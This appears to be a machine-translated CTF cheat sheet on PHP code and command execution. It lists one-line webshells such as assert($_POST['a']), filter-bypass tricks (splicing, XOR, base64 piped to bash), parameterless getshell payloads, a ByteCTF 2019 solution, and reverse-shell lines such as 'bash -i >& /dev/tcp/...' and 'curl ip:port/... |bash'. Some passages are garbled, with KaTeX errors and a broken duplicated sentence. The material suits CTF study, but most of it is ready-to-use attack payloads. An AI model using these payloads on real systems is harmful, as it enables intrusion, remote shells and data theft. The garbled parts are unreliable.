PHP command execution
Main function
Code execution function
${}
php complex variable
<?php ${phpinfo()};
{KaTeX parse error: Expected 'EOF', got '}' at position 12: {getname()}} ̲ => {s1ye} =>echo "s1ye";, It can be found that the getname function is executed first and "s1ye" is output, and then echo (priority) is executed.
$str = "{${phpinfo()}}", curly braces define the boundary of the variable. Therefore, this statement first executes the contents in the braces, obtains the return value of the function, names the variable with the string of the return value, and then assigns it to the str variable (the same as the test function analyzed above)
assert()
<?php assert($_POST['a']);
PHP < 7.0.29 can be called dynamically
<?php $a='assert'; $a($_POST['a']);
preg_replace()
/e mode can execute arbitrary code, and this function is basically rarely used.
$a = 'phpinfo()'; $b = preg_replace("/abc/e",$b,'abcd');
eval()
eval('echo 222;');
Multiple statements can be executed, separated by semicolons.
create_function()
Create anonymous function
$a = 'phpinfo();'; $b = create_function(" ",$a); $b();
call_user_func()
call_user_func('assert', $_REQUEST['pass']);
array_filter()
Callback function
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, base64_decode($e));
array_map()
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map(base64_decode($e), $arr);
usort()/uasort()
php>5.6
It is generally used in the variable length function feature of php.
Command execution function
system()
system('ls');
passthru()
passthru('whoami');
exec()
exec('whoami');
No echo, output required.
shell_exec()
shell_exec('ls'); No echo, output required.
proc_open
<?php $descriptorspec=array( //This index array specifies that you want to use proc_ Descriptor of the child process created by open 0=>array('pipe','r'), //STDIN 1=>array('pipe','w'),//STDOUT 2=>array('pipe','w') //STDERROR ); $handle=proc_open('dir',$descriptorspec,$pipes,NULL); //Saved in $pipes is the file pointer corresponding to the PHP end of the pipeline created by the child process ($specified by $descriptorspec) if(!is_resource($handle)){ die('proc_open failed'); } //fwrite($pipes[0],'ipconfig'); print('stdout:<br/>'); while($s=fgets($pipes[1])){ print_r($s); } print('===========<br/>stderr:<br/>'); while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>
`(backquote)
echo `ls`;
popen()
No echo, but can execute commands.
<?php if(isset($_GET['cmd'])){ popen($_GET['cmd'],'r'); } ?>
ob_start()
<?php ob_start("system"); echo "whoami"; ob_end_flush(); ?>
Code utilization
1. Direct implementation
The function is basically not filtered, or you need to add an eval()/system()/exec() function to the eval() function.
2. Splicing bypass / dynamic call
Using the function assert()
For example ($_GET['a'])($_GET['b']);
PHP7 can execute commands ('system')('ls') in the form of (' ') (' ')
Use bypass
('sys'.'tem')('ls')
implode(['sys','tem'])('dir');
Or use or operation
array('a'=>'systam'|'systdm')['a']('ls');
3. Callback back door
1. Pass a parameter
$_GET[1]
2. Include remote files
By default, remote file inclusion is closed, so this method is not recommended.
include$_GET[1]; You can also include local files to let waf go in this way
3. Local files contain
param=$_GET[a](N,a,8);&a=file_put_contents
However, this processing symbol will report an error, so you can pass in the encoded data and use it at last
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
4. The local log contains
Using web logs, you can include tmp files, but you need an absolute path.
5.php variable length parameters
usort
6. No alphanumeric GetShell
1.Linux can use. To execute arbitrary scripts under the shell
2. Wildcards can be used for Linux file names
Bypass mode
Command separator
linux: %0a , %0d , | ,;,&
Space bypass
< <> %20%09 $IFS$9 //$9 is the ninth parameter holder of the shell process and is always a string $ {IFS}$IFS, etc
In Linux I F S yes branch Septum symbol , but yes Spell meet upper his he word symbol Just surface show become one individual change amount name word . example as : IFS is a separator, but other characters are spliced to represent a variable name. For example: IFS is a separator, but other characters are spliced to represent a variable name. For example: IFSf. You usually need braces to distinguish.
Keyword filtering
Splice bypass: a=g;cat fla$g.php Code bypass:`echo "Y2F0IC9mbGFn"|base64 -d` ,echo "Y2F0IC9mbGFn"|base64 -d|bash Single quotation mark or double quotation mark, back quotation mark interval: ca""t fl''ag ,cat fl'a'g,cat fla``g ...Backslash: ca\t fl\ag Using uninitialized variables:ca$@t fl$2ag(It can be numbers or symbols, otherwise it will be spliced with the following letters)Using environment variables:${PATH} Intercept the required characters
Advanced writing
666`\whoami`666w`f1hgb`ho`f1hgb`am`f1hgb`i wh$(f1hgb)oa$(f1hgb)mi
Bypass using binary
16 Base system:$(printf "\x63\x61\x74...");8 Base system: $(printf "\x63\x61\x74...");
wildcard
character | explain |
---|---|
* | Match any character of any length |
? | Match any single character |
[list] | Match any single character within the specified range (list), or it can be a collection of single characters |
[^list] | Matches any single character or character set outside the specified range |
[!list] | Same as [^ list] |
{str1,str2} | Match str1 or str2 characters, or a collection |
IFS | By or or |
CR | Produced by |
! | Execute the commands in history |
cat ???g.???cat *g*cat `ls`
system() bypass
system("cat /etc/passwd")<=>"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");<=>(sy.(st).em)("cat /etc/passwd");<=>You can also use annotation methods to bypass"system/*fthgb666*/("cat /etc/passwd);"<=>"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"<=>"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
DNSLOG
Web pages can be used when there is no echo
Bounce Shell
curl ip:port/xxx.xx |bashxxx.xxbash -i >& /dev/tcp/ip/port 0>&1bash -i >& /dev/tcp/node3.buuoj.cn/2333 0>&1
bash -i produces a bash interactive environment
>&Combine the front and back contents, and then orient them to the back together
/dev/tcp/ip/port enables a tcp connection between the host and the target host
0 > & 1 combines the standard input and output content and redirects it to the previous standard output content.
Common payload
{cat,flag.php} cat${IFS}flag.phpcat$IFS$9flag.phpcat<flag.phpcat<>flag.phpkg=$'\x20flag.php'&&cat$kga=c;b=at;c=flag.php;$a$b $cb=ag;a=fl;cat$IFS$1$a$b.phpecho$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shecho$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bashecho$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
Limit length
No alphanumeric
<?phpif(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);}
Method 1
Using XOR, because the bottom layer of the code is binary, we can use this to construct other strings. Letters can be constructed by XOR using numbers and letters.
<?phpecho "5"^"Z";?>----output----o
Method 2
Using inversion to operate ~ ($x{0}) on a Chinese character, you can get an ASCII string.
Because a string code will become three hexadecimal codes, a hexadecimal code can be obtained by using $x{1}
>>> print("Lu".encode("utf8"))b'\xe5\x8d\xa2'
Using inversion, you can get an ASCII code
<?php$_="Lu";print(~($_{1}));print(~"\x8d");
Method 3
Using self increasing and self decreasing
Because in php
"A++" ==>B
Using this rule, we only need to be able to get one letter to construct the whole alphabet.
php is case insensitive, so you can replace it with uppercase letters
No parameters
Parameterless GetShell is generally payload and cannot have the form of a('x ')
1.localeconv()
Get one
2.array_flip()/array_rand()
**array_rand(): * * randomly takes one or more cells from the array and returns one or more keys.
**array_flip()/array_reverse: * * exchange keys and values in the array
array_rand(array_flip(scandir(pos(localeconv()))))
Using readfile()/show_source()/highlight_file
readfile(array_rand(array_flip(scandir(pos(localeconv())))))
flag{86d16ab2-d5bd-41a9-a10a-725d917ba4bf}
2. Traverse the directory
1.getcwd() get the current working directory
2. Scanner() traverses all files in the current directory
3.dirname() returns the name of the upper level directory
3.getallheaders()
**getallheaders(): * * get all HTTP request information (apache, nginx) available
Add a Header as c: phpinfo();, Select the appropriate payload according to the location:
-
Add in Header first:
payload: code=eval(pos(getallheaders()));
(pos() can be replaced by current(). If in the second, you can use next())
4.session_id()
Gets / sets the current session ID
Set seesion through cookie and use session_id() read utilization.
eval(hex2bin(session_id(session_start())));
5.getenv()
PHP > 7.1 to get super global variables, using array_rand()/array_flip() traversal
6.get_defined_vars()
Returns an array of all defined variables.
Example analysis
Boring Code(ByteCTF 2019)
<?phpif ($_POST['code']){ $code = $_POST['code']; if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } }else{ echo "No No No"; }}?>
There are two WAFS in this problem. Let's take out the nonparametric analysis separately.
Generally, first get the files in the current directory.
readfile(end(scandir(pos(localecov()))));
1. Because the file may not be in the current folder, you can use if. If the path change is successful, the file is read.
if(chdir(next(scandir(pos(localecov())))) readfile(end(scandir(pos(localecov()))))
2. Use localtime() to cooperate with chr()
In ASCII, the value of. Is 46. When the time is 46 seconds of a certain minute, the payload can be constructed successfully.
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))));
Chdir (next (scandir (POS (localeconv())) replaces the current path, and scandir (Chr (POS (Localtime (time))) lists the current directory structure after changing the path.
Summary:
There are too many solutions to this problem. The most important thing is to obtain a point. This point can be represented by ascii, so as long as there is a number for mathematical operation, and finally get the point.
preg_replace problem
Generally speaking, preg_replace takes advantage of the \ e pattern and causes code execution.
In special cases, the second parameter is * *'strtower ("\ \ 1") '* * string, which is different from the usual way of executing code.
Let's first understand what matching pattern \ 1 corresponds to.
Back reference
Adding parentheses around a regular expression pattern or partial pattern will cause the relevant matches to be stored in a temporary buffer, and each captured sub match is stored in the order from left to right in the regular expression pattern. The buffer number starts with 1 and can store up to 99 captured sub expressions. Each buffer can be accessed using '\ n', where n is a one - or two digit decimal number that identifies a particular buffer.
Therefore, the finally constructed content is judged according to the regular rules and according to the first matched content.
eval(strtolower("\\1"););
session.upload_progress file contains and deserializes penetration
When PHP > 5.4, a new function session. Upload is added_ progress
Several default options have been added to php.ini
1. session.upload_progress.enabled = on2. session.upload_progress.cleanup = on3. session.upload_progress.prefix = "upload_progress_"4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"5. session.upload_progress.freq = "1%"6. session.upload_progress.min_freq = "1"
enabled=on means upload_ The start of the progress function also means that when the browser wants to upload a file to the server, php will record the details of the file upload in the session.
cleanup=on means that php will empty the contents of the corresponding session file after the file upload is completed
prefix+name is the key name in the session